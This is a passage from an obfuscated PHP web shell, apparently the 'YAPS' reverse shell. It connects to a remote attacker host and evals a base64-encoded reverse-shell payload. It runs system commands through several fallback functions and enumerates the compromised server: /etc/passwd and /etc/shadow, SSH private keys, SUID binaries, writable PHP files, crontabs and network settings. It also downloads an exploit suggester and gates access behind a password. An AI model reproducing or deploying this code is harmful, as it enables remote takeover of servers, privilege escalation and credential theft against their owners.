")); goto ykPQ0; wFXl3: fwrite($uAREj, RM3uI("[+]") . " Linux Exploit Suggester saved to /tmp/" . $CAanw . ceJhd("\xa[i]") . " Changing permissions...\xa"); goto QDdHp; ykPQ0: fw9ex: goto qadk1; RGmNI: fwrite($uAREj, UIH9I("[!]") . " Couldn't change permissions... \xa[i] File was saved in " . uiH9i("/tmp/" . $CAanw . "\xa")); goto K62JA; IVA6s: } goto lzKyy; r0TwU: $eMd2e = explode(":", $_POST["x"]); goto WqC1_; VZr6w: function YyItV() { goto aBsvO; soFtW: rZQD3: goto uW5HR; uyROV: $MODFS = 0; goto bJeE_; tDjFl: k3Ga4: goto crrza; ac_4I: fwrite($uAREj, rm3uI("[+] ") . "Showing only the first 25 files. There are more!" . PHP_EOL); goto cK26g; cY8oC: if (!($MODFS < 25)) { goto tXbAZ; } goto J2t5P; UIdsT: fwrite($uAREj, rM3UI("====================== Net info ======================
")); goto SJlye; CJiHE: $BJg1i = array(); goto z9hy8; OA5NM: $V7Hqq = explode("
", shell_exec("find / -type f -perm /4000 2>/dev/null")); goto ELvE1; crrza: fwrite($uAREj, Rm3uI("\xa====================== SSH files ======================\xa\xa")); goto ocPNf; bc_vG: vQ2uf: goto DH9XV; HQUVA: foreach ($BNiXw as $rj0qx) { goto N1bhM; XGsau: kGhTj: goto h6fxG; x29kp: goto kGhTj; goto LEuVE; PxCh0: fwrite($uAREj, $rj0qx . PHP_EOL); goto x29kp; BFNX5: fwrite($uAREj, LzMtI("[Writable] ") . $rj0qx . PHP_EOL); goto XGsau; N1bhM: if (is_writable($rj0qx)) { goto Qc5Hm; } goto PxCh0; h6fxG: hIyXz: goto ndkGZ; LEuVE: Qc5Hm: goto BFNX5; ndkGZ: } goto bc_vG; KZ5c5: fwrite($uAREj, LZMti("[!] /etc/shadow is readable!\xa") . bzvNC("cat /etc/shadow") . PHP_EOL); goto Be2Zd; Be2Zd: a4Mpd: goto UIdsT; M3Mjq: $uQQ6n .= CEJHD("[i] Crontab: \xa") . BzvNC("cat /etc/crontab | egrep -v '^#'") . PHP_EOL; goto IZq61; z9hy8: $y9OB0 = array("/var/www", "/srv", "/usr/local/apache2", "/var/apache2", "/var/www/nginx-default"); goto dMwIA; STylR: $uQQ6n .= cEjHd("[i] Active ports: \xa") . BzvNC("(netstat -punta) 2>/dev/null") . PHP_EOL; goto V9TbP; Vz1SG: $uQQ6n .= ceJhd("[i] User/groups: ") . BzVnc("id") . PHP_EOL; goto naF4e; F9QdI: fwrite($uAREj, Rm3UI("====================== Interesting binaries ======================\xa
")); goto vlAYg; ocPNf: $BNiXw = explode("\xa", shell_exec("find / -type f -name authorized_keys 2>/dev/null")); goto HQUVA; cK26g: wcOIn: goto ajKu4; SJlye: $uQQ6n = CEJhD("[i] IP Info:
") . BZvnc("ifconfig") . PHP_EOL; goto nqisi; Xr31C: fwrite($uAREj, rm3UI("\xa====================== Initial info ======================
\xa")); goto aY_MD; ELvE1: foreach ($V7Hqq as $udiWU) { goto G8x11; QKvG5: fwrite($uAREj, BZVnc("ls -l {$udiWU}")); goto pPT0h; G8x11: if (!($udiWU !== '')) { goto kl1Ti; } goto QKvG5; sqGDX: Y6r5Z: goto LbKZK; pPT0h: kl1Ti: goto sqGDX; LbKZK: } goto tDjFl; ApGCi: $uQQ6n .= ceJhd("[i] RAM:
") . bzVnC("cat /proc/meminfo | egrep -i '(memtotal|memfree)'"); goto M60oU; aP9yF: $uQQ6n .= cEjHD("[i] Kernel: ") . BzvNc("uname -a"); goto ZWBLt; BKfj7: $uQQ6n .= cejhD("[i] Crontab of current user: \xa") . bzvNc("crontab -l | egrep -v '^#'") . PHP_EOL; goto M3Mjq; NnvwL: fwrite($uAREj, rm3uI("
=================== Writable PHP files ===================\xa
")); goto CJiHE; M60oU: $uQQ6n .= CEjHd("[i] Sudo version: ") . BZVNC("sudo --version | grep 'Sudo version' | cut -d' ' -f 3"); goto Vz1SG; uW5HR: if (count($BJg1i) > 25) { goto FVnNa; } goto IXT_h; zpHeA: $MODFS++; goto Z0uXV; nakel: $uQQ6n .= cEjHD("[i] Users in /home:
") . bzvNc("ls /home") . PHP_EOL; goto BKfj7; hd3pK: FVnNa: goto uyROV; naF4e: $uQQ6n .= cEJHd("[i] Active TTY: \xa") . BZVNC("w") . PHP_EOL; goto Y1DV_; bJeE_: binhm: goto cY8oC; aBsvO: global $uAREj; goto Xr31C; zF01j: if (!is_readable("/etc/shadow")) { goto a4Mpd; } goto KZ5c5; DN34M: fwrite($uAREj, bzVNC("cat /etc/passwd") . PHP_EOL); goto zF01j; IXT_h: foreach ($BJg1i as $cPjcu) { goto KPsrS; KPsrS: if (!($cPjcu !== '')) { goto tXW7I; } goto FN2cJ; jB3Y_: mgFRw: goto qwU0d; BXotd: tXW7I: goto jB3Y_; FN2cJ: fwrite($uAREj, LZmTI("[Writable] ") . $cPjcu . PHP_EOL); goto BXotd; qwU0d: } goto NvbHy; V9TbP: fwrite($uAREj, $uQQ6n); goto F9QdI; OLJ4S: $uQQ6n .= cEJhD("[i] IP Tables rules:
") . BzvNc("(iptables --list-rules 2>/dev/null)") . PHP_EOL; goto STylR; npXOz: fwrite($uAREj, "...\xa..." . PHP_EOL); goto ac_4I; dcPiw: fwrite($uAREj, Rm3uI("====================== All users ======================
")); goto DN34M; aY_MD: $uQQ6n = CejHd("[i] OS info:
") . BzvnC("lsb_release -a | grep -v 'No LSB'") . PHP_EOL; goto IDOBC; AzJ1p: $uQQ6n = CejHd("[i] Current user: ") . BzVnC("whoami"); goto nakel; ZWBLt: $uQQ6n .= cejhd("[i] CPU: \xa") . BZVnc("cat /proc/cpuinfo | grep -i 'model name' | cut -d':' -f 2 | sed 's/^ *//g'"); goto ApGCi; NvbHy: Rxyvu: goto fh86I; AEb4m: ohbBc: goto zpHeA; bQdD6: $uQQ6n .= CEJhD("[i] Interfaces/routes: \xa") . bzVnc("cat /etc/networks && route") . PHP_EOL; goto OLJ4S; X7WJl: tXbAZ: goto npXOz; dMwIA: foreach ($y9OB0 as $JeTvK) { $BJg1i = array_merge($BJg1i, explode("\xa", shell_exec("find " . $JeTvK . " -type f -name '*.php*' -writable 2>/dev/null"))); THpgH: } goto soFtW; Qp2lF: foreach ($U9mbi as $zM1IY) { goto FOhjw; tUfuz: C8qVs: goto lUUOx; vF9ji: fwrite($uAREj, $zM1IY . PHP_EOL); goto QX5rz; lUUOx: JnOF_: goto g95Zv; Nk1Cb: fwrite($uAREj, lzMTi("[Readable] ") . $zM1IY . PHP_EOL); goto tUfuz; X0YaK: B1xIO: goto Nk1Cb; FOhjw: if (is_readable($zM1IY)) { goto B1xIO; } goto vF9ji; QX5rz: goto C8qVs; goto X0YaK; g95Zv: } goto hHtkD; DH9XV: $U9mbi = explode("
", shell_exec("find / -type f -name id_rsa 2>/dev/null")); goto Qp2lF; kSCq4: fwrite($uAREj, LzMti("[Writable] ") . $BJg1i[$MODFS] . PHP_EOL); goto cDKYN; n875k: fwrite($uAREj, rM3ui("\xa====================== SUID binaries ======================
")); goto OA5NM; hHtkD: yc5Bo: goto NnvwL; fh86I: goto wcOIn; goto hd3pK; Z0uXV: goto binhm; goto X7WJl; xZ2Pv: foreach ($y2rCf as $GdX64) { goto CRn3F; v9am4: qP4MH: goto v99DU; lWeW3: fwrite($uAREj, bZvNc("ls -l {$GdX64}")); goto v9am4; CRn3F: $GdX64 = shell_exec("which {$GdX64} 2>/dev/null"); goto ue8dF; v99DU: VCa9z: goto odcbk; ue8dF: if (!($GdX64 !== '' && base64_encode($GdX64 . PHP_EOL) !== "Cg==")) { goto qP4MH; } goto lWeW3; odcbk: } goto rlftN; LJLBN: fwrite($uAREj, rM3Ui("====================== Users info ======================
")); goto AzJ1p; J2t5P: if (!($BJg1i[$MODFS] !== '')) { goto VTV26; } goto kSCq4; IZq61: fwrite($uAREj, $uQQ6n); goto dcPiw; ajKu4: fwrite($uAREj, CEJhd("
[i]") . " Get more information with !enum." . PHP_EOL); goto E46c5; IDOBC: $uQQ6n .= CEJHD("[i] Hostname: ") . BzVNc("hostname"); goto aP9yF; Y1DV_: fwrite($uAREj, $uQQ6n); goto LJLBN; vlAYg: $y2rCf = array("nc", "nc.traditional", "ncat", "nmap", "perl", "python", "python2", "python2.6", "python2.7", "python3", "python3.6", "python3.7", "ruby", "node", "gcc", "g++", "docker", "php"); goto xZ2Pv; cDKYN: VTV26: goto AEb4m; rlftN: eEvy7: goto n875k; nqisi: $uQQ6n .= CEJHd("[i] Hosts: \xa") . bZvnc("cat /etc/hosts | grep -v '^#'") . PHP_EOL; goto bQdD6; E46c5: } goto zRArR; yAdGD: if ($argc >= 2 && preg_match("/^[0-9]+$/", $argv[$argc - 1])) { goto ePmbN; } goto sGI8N; KfakJ: $BqeWQ = true; goto sqHw3; wb4ms: W5qCe: goto Bw2dj; w5lY4: function eFz2Z($lzSPu = '') { goto L1ngE; Dl3hH: $abTAl = base64_encode(str_replace("IP_ADDR", $Wl17t, str_replace("PORT", $JKOaQ, base64_decode($R36Nt)))); goto NWqpF; s1nCF: jb70x: goto Yldvh; qotAN: if (!(strlen($lzSPu) > 1 && strlen($lzSPu) > 0)) { goto zjI9P; } goto JRg5P; H4Dzp: dnxjM: goto TzPVk; bqsge: fwrite($uAREj, lzmtI("[-]") . " Port must be between 0-65535.\xaChoose another port: "); goto PhUcT; KWLbp: shell_exec("echo " . $abTAl . "| base64 -d | php -r '$stdin=file("php://stdin");eval($stdin[0]);'"); goto bln77; OwELa: if (!($bNZa2 = fread($uAREj, 8))) { goto jb70x; } goto eE17k; c4VjA: return; goto ELTtI; c7ZSb: zjI9P: goto ojN1r; mFeoJ: $KSA6N = $eMd2e[1]; goto J6bFk; PhUcT: zM8_N: goto H4Dzp; StiDP: $eMd2e = explode(":", $lzSPu); goto A4HBx; NWqpF: fwrite($uAREj, uIh9I("[i]") . " Trying to connect to {$Wl17t}:{$JKOaQ}
"); goto lzRhx; ojN1r: fwrite($uAREj, UiH9i("[i]") . " Set up a listener on another port (nc -lnvp <port>) and press ENTER.\xaChoose a port: "); goto ksjUb; EloAL: BZvNc("timeout --kill-after 0 1 wget --post-data="x={$Wl17t}:{$JKOaQ}&stabilize=1" {$RlFkX} > /dev/null"); goto c4VjA; bln77: return; goto c7ZSb; JRg5P: echo $lzSPu; goto StiDP; gw9Bk: hDG7Q: goto bqsge; TzPVk: goto ZwwqJ; goto s1nCF; f0Xdb: $RlFkX = $_SERVER["REQUEST_SCHEME"] . "://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; goto EloAL; J6bFk: $abTAl = base64_encode(str_replace("IP_ADDR", $bSx83, str_replace("PORT", $KSA6N, base64_decode($R36Nt)))); goto KWLbp; eE17k: if (!(strlen($bNZa2) > 0)) { goto dnxjM; } goto o0hP4; L1ngE: global $uAREj, $CjcQS, $Wl17t; goto U2B6Q; U2B6Q: $R36Nt = "JHNjcmlwdD1zaGVsbF9leGVjKCJ3aGljaCBzY3JpcHQiKTskcHkzPXNoZWxsX2V4ZWMoIndoaWNoIHB5dGhvbjMiKTskcHk9c2hlbGxfZXhlYygid2hpY2ggcHl0aG9uIik7aWYoc3RybGVuKCRzY3JpcHQpPjYgJiYgc3RycG9zKCRzY3JpcHQsIm5vdCBmb3VuZCIpPT1mYWxzZSkgJHN0YWJpbGl6ZXI9Ii9iaW4vYmFzaCAtY2kgJyIuJHNjcmlwdC4iIC1xYyAvYmluL2Jhc2ggL2Rldi9udWxsJyI7ZWxzZSBpZihzdHJsZW4oJHB5Myk+NyAmJiBzdHJwb3MoJHNjcmlwdCwibm90IGZvdW5kIik9PWZhbHNlKSAkc3RhYmlsaXplcj0kcHkzLiIgLWMgJ2ltcG9ydCBwdHk7cHR5LnNwYXduKFwiL2Jpbi9iYXNoXCIpJyI7ZWxzZSBpZihzdHJsZW4oJHB5KT42ICYmIHN0cnBvcygkc2NyaXB0LCJub3QgZm91bmQiKT09ZmFsc2UpICRzdGFiaWxpemVyPSRweS4iIC1jICdpbXBvcnQgcHR5O3B0eS5zcGF3bihcIi9iaW4vYmFzaFwiKSciO2Vsc2UgJHN0YWJpbGl6ZXI9Ii9iaW4vYmFzaCI7JHN0YWJpbGl6ZXI9c3RyX3JlcGxhY2UoIlxuIiwiIiwkc3RhYmlsaXplcik7JHNoZWxsPSJ1bmFtZSAtYTskc3RhYmlsaXplciI7dW1hc2soMCk7JHNvY2s9ZnNvY2tvcGVuKCJJUF9BRERSIixQT1JULCRlcnJubywkZXJyc3RyLDMwKTskc3RkPWFycmF5KCAwID0+IGFycmF5KCJwaXBlIiwiciIpLDEgPT4gYXJyYXkoInBpcGUiLCJ3IiksMiA9PiBhcnJheSgicGlwZSIsInciKSApOyRwcm9jZXNzPXByb2Nfb3Blbigkc2hlbGwsJHN0ZCwkcGlwZXMpO2ZvcmVhY2goJHBpcGVzIGFzICRwKSBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwLDApO3N0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssMCk7d2hpbGUoIWZlb2YoJHNvY2spKXskcmVhZF9hPWFycmF5KCRzb2NrLCRwaXBlc1sxXSwkcGlwZXNbMl0pO2lmKGluX2FycmF5KCRzb2NrLCRyZWFkX2EpKSBmd3JpdGUoJHBpcGVzWzBdLGZyZWFkKCRzb2NrLDIwNDgpKTtpZihpbl9hcnJheSgkcGlwZXNbMV0sJHJlYWRfYSkpIGZ3cml0ZSgkc29jayxmcmVhZCgkcGlwZXNbMV0sMjA0OCkpO2lmKGluX2FycmF5KCRwaXBlc1syXSwkcmVhZF9hKSkgZndyaXRlKCRzb2NrLGZyZWFkKCRwaXBlc1syXSwyMDQ4KSk7fSBmY2xvc2UoJHNvY2spO2ZvcmVhY2goJHBpcGVzIGFzICRwKSBmY2xvc2UoJHApO3Byb2NfY2xvc2UoJHByb2Nlc3MpOw=="; goto qotAN; AH_PT: if ($JKOaQ > 65535 || $JKOaQ == 0) { goto hDG7Q; } goto Dl3hH; ksjUb: ZwwqJ: goto OwELa; hs6tD: pclose(popen("echo " . $abTAl . "| base64 -d | php -r '$stdin=file("php://stdin");eval($stdin[0]);' &", "r")); goto T1bnR; o0hP4: $JKOaQ = (int) $bNZa2; goto AH_PT; T1bnR: return; goto dDdFP; ELTtI: goto zM8_N; goto gw9Bk; A4HBx: $bSx83 = $eMd2e[0]; goto mFeoJ; lzRhx: if (!(hHlP3("popen") && HHLP3("pclose"))) { goto kLOAn; } goto hs6tD; dDdFP: kLOAn: goto f0Xdb; Yldvh: } goto nay2i; sqHw3: BLOlo: goto veAgt; sH3qR: MNvlR: goto hfSnH; CzWyS: goto jF4yA; goto QnZ0K; eTL8h: $CjcQS = 7359; goto GnTs_; Ez5vo: EFz2z($fOhjn); goto lA80q; Rp7Lu: ePmbN: goto UgTp6; yJZWv: function bzvNC($bNZa2) { goto R61d1; lU3t_: qO_b0: goto GmO3f; Pe8m6: $XM61M = ob_get_contents(); goto tCeFs; hVHQt: if (hhlp3("shell_exec")) { goto LofTK; } goto U7bXs; z42OD: KWQnf: goto BS0Ur; Wz0Dk: PhND1: goto yfG4b; s9Zs_: $XM61M = NULL; goto DjPs3; IBbJQ: if (HhLP3("exec")) { goto yilPl; } goto hVHQt; Zq54n: if (hhlp3("system")) { goto WG2Ve; } goto Eo_6D; y9J3w: WG2Ve: goto aOj6h; EdvJA: yilPl: goto NCt80; K3u7a: $XM61M = NULL; goto lkEuf; NCt80: $XM61M = array(); goto WEhIO; R61d1: $bNZa2 = $bNZa2 . " 2>&1
"; goto IBbJQ; Dfpnd: uZ_15: goto pu2bX; DjPs3: t5Iso: goto LweR9; CzfVP: BODFw: goto HVdiL; GmO3f: goto FAyfS; goto EdvJA; lkEuf: if (!is_resource($va7Pj)) { goto JsgcR; } goto z42OD; vReFE: goto KWQnf; goto J4Ri5; Jx9r7: if (hhLp3("passthru")) { goto aUfFX; } goto JZNUn; Yllqh: passthru($bNZa2); goto ZA7gG; moAFH: aUfFX: goto zri6M; NV_uh: s8hwa: goto RazsR; UkLfc: Kh7eL: goto Iffx2; U7bXs: if (hhlP3("popen")) { goto BODFw; } goto Jx9r7; tgUM6: Ol0tC: goto DS5BC; KAF8c: goto t5Iso; goto tgUM6; k1Dcs: TIbaB: goto MZmJR; zri6M: ob_start(); goto Yllqh; bsIQK: FAyfS: goto Q7552; i9SHZ: ob_end_clean(); goto NV_uh; Q7552: return $XM61M; goto XUx0h; YBEQp: JsgcR: goto ez5Mq; LweR9: if (feof($yExLz[1])) { goto Ol0tC; } goto SByQ7; jCWqJ: system($bNZa2); goto Pe8m6; z4xLY: goto TIbaB; goto y9J3w; HVdiL: $va7Pj = popen($bNZa2, "r"); goto K3u7a; WEhIO: exec($bNZa2, $XM61M); goto EmQiz; BS0Ur: if (feof($va7Pj)) { goto LmqFj; } goto AQKSY; tCeFs: ob_end_clean(); goto k1Dcs; ZA7gG: $XM61M = ob_get_contents(); goto i9SHZ; MZmJR: goto Kh7eL; goto Dfpnd; fSfJg: $XM61M = shell_exec($bNZa2); goto lU3t_; Eo_6D: $XM61M = 0; goto z4xLY; EmQiz: $XM61M = join(chr(10), $XM61M) . chr(10); goto bsIQK; ez5Mq: @pclose($va7Pj); goto Wz0Dk; JZNUn: if (hHlP3("proc_open")) { goto uZ_15; } goto Zq54n; AQKSY: $XM61M .= fread($va7Pj, 1024); goto vReFE; SByQ7: $XM61M .= fread($yExLz[1], 1024); goto KAF8c; J4Ri5: LmqFj: goto YBEQp; JBh_s: LofTK: goto fSfJg; yfG4b: goto qO_b0; goto JBh_s; RazsR: goto PhND1; goto CzfVP; pu2bX: $fj7gd = proc_open($bNZa2, array(array("pipe", "r"), array("pipe", "w"), array("pipe", "w")), $yExLz); goto s9Zs_; DS5BC: @proc_close($fj7gd); goto UkLfc; aOj6h: ob_start(); goto jCWqJ; Iffx2: goto s8hwa; goto moAFH; XUx0h: } goto hT16v; VhKuY: function plGIc() { goto xOd1c; Xaib_: taOIh: goto rIjIf; i9cqp: goto WsiD1; goto StVO3; H5lry: switch (substr($MnrhX, 0, -1)) { case "1": goto jUOqD; r3OYd: wu9hp($i2CI7); goto eTpIA; jUOqD: fwrite($uAREj, cEjHd("[*] ") . "Choose the new password: "); goto BrDIK; eTpIA: return; goto dCHP1; n1JyB: if (!($LX188 = fread($uAREj, 1024))) { goto aulbt; } goto m0cA3; m0cA3: $i2CI7 = substr($LX188, 0, -1); goto r3OYd; HoJ_O: goto kqjs7; goto Unq4W; BrDIK: YfcP1: goto n1JyB; dCHP1: goto YfcP1; goto ZnjLt; ZnjLt: aulbt: goto HoJ_O; Unq4W: case "2": goto oAfM_; VLG3q: goto kqjs7; goto m1ODy; oAfM_: kxFbS(); goto Dq9c4; Dq9c4: return; goto VLG3q; m1ODy: default: goto sPtlH; of1mC: goto kqjs7; goto kN21W; sPtlH: fwrite($uAREj, CejHD("[*] ") . "Canceled.
"); goto jXytq; jXytq: return; goto of1mC; kN21W: } goto NkLH5; xuQks: znXXD: goto lgRwH; qumov: if (!($MnrhX = fread($uAREj, 8))) { goto uZZpy; } goto YfxyB; rL7Ah: uZZpy: goto i9cqp; M3DNN: goto YxAem; goto rL7Ah; TRlMz: if ($KQI8m) { goto htOzr; } goto hBfoX; NkLH5: pehUe: goto wry4Z; hBfoX: fwrite($uAREj, uIh9I("[!] Password is disabled. ") . YMAPN("Choose an option:") . "\xa[1] Set a password
[2] Enable password
[3] Cancel\xa> "); goto LuFoE; rIjIf: sDDWs: goto M3DNN; oDEyQ: fwrite($uAREj, RM3Ui("[+] Password is enabled. ") . YmAPn("Choose an option:") . "\xa[1] Change password
[2] Disable password
[3] Cancel
> "); goto PauTE; LuFoE: YxAem: goto qumov; PauTE: iWGpj: goto Y08Eb; eqVsm: goto iWGpj; goto xuQks; wry4Z: kqjs7: goto eqVsm; OApTd: e6nGz: goto oDEyQ; aFNPt: return; goto OApTd; xOd1c: global $uAREj, $KQI8m; goto TRlMz; GNirA: fwrite($uAREj, LZmTI("[-] ") . " Wrong password
"); goto aFNPt; ZBEFv: if (m27FS()) { goto e6nGz; } goto GNirA; StVO3: htOzr: goto ZBEFv; YfxyB: switch (substr($MnrhX, 0, -1)) { case "1": goto tXvLQ; g03kE: DbQqy: goto f1M9w; njXss: $i2CI7 = substr($LX188, 0, -1); goto MrAxK; MrAxK: wu9Hp($i2CI7); goto xywP2; f1M9w: if (!($LX188 = fread($uAREj, 1024))) { goto c_vvW; } goto njXss; jXgfj: goto sDDWs; goto dfRjY; tXvLQ: fwrite($uAREj, cejhd("[*] ") . "Choose the new password: "); goto g03kE; w5Ljy: c_vvW: goto jXgfj; xywP2: return; goto kUDht; kUDht: goto DbQqy; goto w5Ljy; dfRjY: case "2": goto glTA4; JcV39: goto sDDWs; goto RlDgD; SVAlW: return; goto JcV39; glTA4: KXFBs(); goto SVAlW; RlDgD: default: goto HOy_w; HOy_w: fwrite($uAREj, ceJhd("[*] ") . "Canceled.\xa"); goto RKoBV; VLRPm: goto sDDWs; goto wYeRx; RKoBV: return; goto VLRPm; wYeRx: } goto Xaib_; Y08Eb: if (!($MnrhX = fread($uAREj, 8))) { goto znXXD; } goto H5lry; lgRwH: WsiD1: goto ddvRe; ddvRe: } goto k9Frq; KDFO8: function KXFbS() { goto Zidui; xg1wy: fwrite($uAREj, lzMTI("[-] ") . "Couldn't deactivate password.\xa"); goto feHw0; tOXKJ: c4mDB: goto xg1wy; K1g5i: $jO22u = file_get_contents($EhHpY); goto fAYg7; feHw0: return false; goto eLs4b; p3fPC: $us4GA = preg_replace("/(\$use_password += +)(true)/", "$1false", $jO22u, 1); goto VmFvh; oCItR: fwrite($uAREj, LZmtI("[-] ") . "Couldn't activate password.\xa"); goto BpfHC; U7h28: $KQI8m = false; goto Guk10; JR3Qy: return true; goto c84GR; c84GR: aUmn7: goto oCItR; Zidui: global $KQI8m, $uAREj, $EhHpY; goto K1g5i; vpfri: $us4GA = preg_replace("/(\$use_password += +)(false)/", "$1true", $jO22u, 1); goto zwHWt; Guk10: fwrite($uAREj, rM3uI("[+] ") . "Password deactivated.
"); goto kMxDo; eLs4b: e_ZWn: goto vpfri; VmFvh: if (!file_put_contents($EhHpY, $us4GA)) { goto c4mDB; } goto U7h28; BpfHC: return false; goto rSrW6; zwHWt: if (!file_put_contents($EhHpY, $us4GA)) { goto aUmn7; } goto FlkO2; FlkO2: $KQI8m = false; goto KeTaj; fAYg7: if (!$KQI8m) { goto e_ZWn; } goto p3fPC; KeTaj: fwrite($uAREj, rM3Ui("[+] ") . "Password activated.\xa"); goto JR3Qy; kMxDo: return true; goto tOXKJ; rSrW6: } goto VhKuY; lxo2o: function wxePd($JeTvK) { goto hpdd8; rRfUx: NosUx: goto T3ELW; hpdd8: $GuZ9Z = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($JeTvK)); goto eC1eQ; T3ELW: sort($EOdvX); goto yaEK1; ZJqsY: foreach ($GuZ9Z as $cPjcu) { goto I9miR; beegn: if (!(substr($cPjcu->getPathName(), -4) == ".php")) { goto fkHuJ; } goto yfIGt; I9miR: if (!(!is_dir($cPjcu) && is_writable($cPjcu))) { goto J96nH; } goto I1fv2; I1fv2: if (!($cPjcu->getPathName() !== $_SERVER["SCRIPT_FILENAME"])) { goto OYZUa; } goto beegn; zc8Dl: OYZUa: goto CU3FZ; CU3FZ: J96nH: goto Uwhkg; x5UG7: fkHuJ: goto zc8Dl; yfIGt: array_push($EOdvX, $cPjcu->getPathName()); goto x5UG7; Uwhkg: WcgzC: goto X1vtY; X1vtY: } goto rRfUx; yaEK1: return $EOdvX; goto tma5_; eC1eQ: $EOdvX = array(); goto ZJqsY; tma5_: } goto K_HTG; tab3p: xhE_i: goto zlVrl; v0h68: $jKLxg = "f00945860424fa6148e329772c08e7d05d7fab6f69a4722b4c66c164acdb018ecc0cbc62060cc67e7ae962c65ab5967620622cc12206627229b94106b66db6b8"; goto EZJTP; fubYh: $fOhjn = $_POST["x"]; goto Ez5vo; FwpcA: $uAREj = @fsockopen("tcp://{$Wl17t}", $CjcQS); goto FDHb7; rvUIS: function ymApN($bQ2ee) { global $ClNqn; return $ClNqn ? "\33[97m" . $bQ2ee . "\x1b[0m" : $bQ2ee; } goto I5NDM; GnTs_: $cXy80 = true; goto AiAv3; qSrcY: function opHCx($Xlgnb) { goto HG6CN; GorWN: C43B9: goto N0dRa; gRuLq: goto wi7d7; goto GorWN; kNpWd: goto wi7d7; goto Ufy8F; n_8fy: $RllHw = $JWP0K; goto kNpWd; N0dRa: $RllHw = fread(fopen($Xlgnb, "r"), 10); goto IIEKA; Si470: if (in_array("curl", get_loaded_extensions())) { goto If8WP; } goto Z0LDq; yWU_A: wi7d7: goto MdPw3; u5sdT: nOsPn: goto n_8fy; Mc3bC: goto wi7d7; goto Hke_U; Ufy8F: DIYQ8: goto fiaxj; IIEKA: goto wi7d7; goto WzUYo; HG6CN: $RllHw = false; goto sJSjT; sJSjT: if (hHlp3("file_get_contents")) { goto NbEME; } goto QhCUP; pByUs: $v0doW = aLiu8(); goto tuKFu; WzUYo: If8WP: goto pByUs; tuKFu: NMGZw($v0doW, YMAZD, $Xlgnb); goto reXh5; Hke_U: NbEME: goto kl5ER; QhCUP: if (HHlP3("fread") && hhLp3("fopen") && ini_get("allow_url_fopen")) { goto C43B9; } goto Si470; MdPw3: return $RllHw; goto ji52R; LxM3N: if ($KF5IA = BZvNc("wget -qO- " . $Xlgnb)) { goto DIYQ8; } goto Mc3bC; fiaxj: $RllHw = $KF5IA; goto yWU_A; Z0LDq: if ($JWP0K = bzvNC("curl -s " . $Xlgnb)) { goto nOsPn; } goto LxM3N; r6g6f: $RllHw = CMwYR($v0doW); goto lVR3k; lIyyH: goto wi7d7; goto u5sdT; reXh5: nmGzW($v0doW, i9c_j, 1); goto r6g6f; kl5ER: $RllHw = file_get_contents($Xlgnb); goto gRuLq; lVR3k: umygZ($v0doW); goto lIyyH; ji52R: } goto WxufR; QnZ0K: ANv1f: goto fubYh; jySDw: BGBwI: goto cqC3Y; oSjzr: die(aSbwT()); goto a5ta1; WqC1_: $Wl17t = $eMd2e[0]; goto uAvjk; y6Uvy: function M27FS() { goto rHD8n; uHKN_: rv0tR: goto CSLHh; rHD8n: global $uAREj, $jKLxg, $uUZsy; goto q728d; H2j9C: return hash("sha512", $uUZsy . hash("sha512", $ULLJL, false), false) == $jKLxg ? true : false; goto pJ7qv; xS5mi: if (!($MnrhX = fread($uAREj, 1024))) { goto rv0tR; } goto uqOEs; pJ7qv: goto lNPsZ; goto uHKN_; uqOEs: $ULLJL = substr($MnrhX, 0, -1); goto H2j9C; q728d: fwrite($uAREj, UIh9i("[i] ") . "This shell is protected. \xaEnter the password: "); goto EUrSr; EUrSr: lNPsZ: goto xS5mi; CSLHh: } goto QDCYe; WxufR: function AsBWT() { goto Znld4; Ym1V6: if (!$AL54E) { goto YYUs2; } goto Etplz; dy0AZ: return; goto LkW1g; z864P: OcfXm: goto xUtYc; ENVSt: $NXS_0 = (int) str_replace(".", '', $XmTBN); goto qsL53; tK1eF: $DWSJa = 0; goto eU9VK; Etplz: $DWSJa = $AL54E; goto WDNrW; Znld4: global $XmTBN, $LJ6mT; goto tK1eF; k0U6z: $AL54E = OPhCx($LJ6mT["verifyUpdateURL"]); goto Ym1V6; eU9VK: echo CEjHd("[i] ") . "Your version: {$XmTBN}. Checking for updates...\xa"; goto k0U6z; lOvgo: return; goto z864P; F5oA4: echo LZmtI("[i]") . " Your version is not up to date.
" . rM3UI("[DOWNLOAD v" . str_replace("\xa", '', $DWSJa) . "]: ") . $LJ6mT["updateURL"] . "\xa"; goto lOvgo; qsL53: if (!($NHAzM !== 0 && $NHAzM > $NXS_0)) { goto OcfXm; } goto F5oA4; xUtYc: echo rM3Ui("[+] ") . "YAPS is already up to date (v{$XmTBN})!
"; goto dy0AZ; WDNrW: YYUs2: goto zxNo3; zxNo3: $NHAzM = (int) str_replace(".", '', $DWSJa); goto ENVSt; LkW1g: } goto lxo2o; FDHb7: if ($uAREj) { goto xhE_i; } goto mnyVm; AiAv3: $ClNqn = true; goto Y4EOn; SDnyY: CtuXZ: goto GTfrS; J8NCM: goto Q7Sy7; goto Rp7Lu; zRArR: function RHoLs($MVIQj = '') { goto ytN01; C2WCw: zhWR9: goto sjhy6; g5tpW: $MODFS = 0; goto lYHl6; ytN01: $hnfIR = implode('', array_merge(range("A", "Z"), range("a", "z"), range(0, 9))); goto g5tpW; Z07ei: $MODFS++; goto yegqU; HUGw8: if (!($MODFS <= mt_rand(5, 6))) { goto zhWR9; } goto h3Za1; sjhy6: return $MVIQj; goto U9eO2; yegqU: goto Hk692; goto C2WCw; eSSDM: tw33B: goto Z07ei; h3Za1: $MVIQj .= $hnfIR[mt_rand(0, strlen($hnfIR) - 1)]; goto eSSDM; lYHl6: Hk692: goto HUGw8; U9eO2: } goto nzJCo; Y4EOn: $KQI8m = false; goto ZBwG1; UwwF6: PDG9R: goto T5sbc; QDCYe: function wu9hP($ZyceD) { goto sQeyu; zT0hQ: $jO22u = file_get_contents($EhHpY); goto N04gE; e2J7z: $jlU8Z = hash("sha512", $uUZsy . hash("sha512", $ZyceD, false), false); goto eAFhP; eAFhP: if (!(!is_readable($EhHpY) || !is_writable($EhHpY))) { goto siqAA; } goto MaTUo; MaTUo: return false; goto Y3LgT; g3aLk: fwrite($uAREj, LzmtI("[-] ") . "Couldn't read or write the file. Are the permissions right?
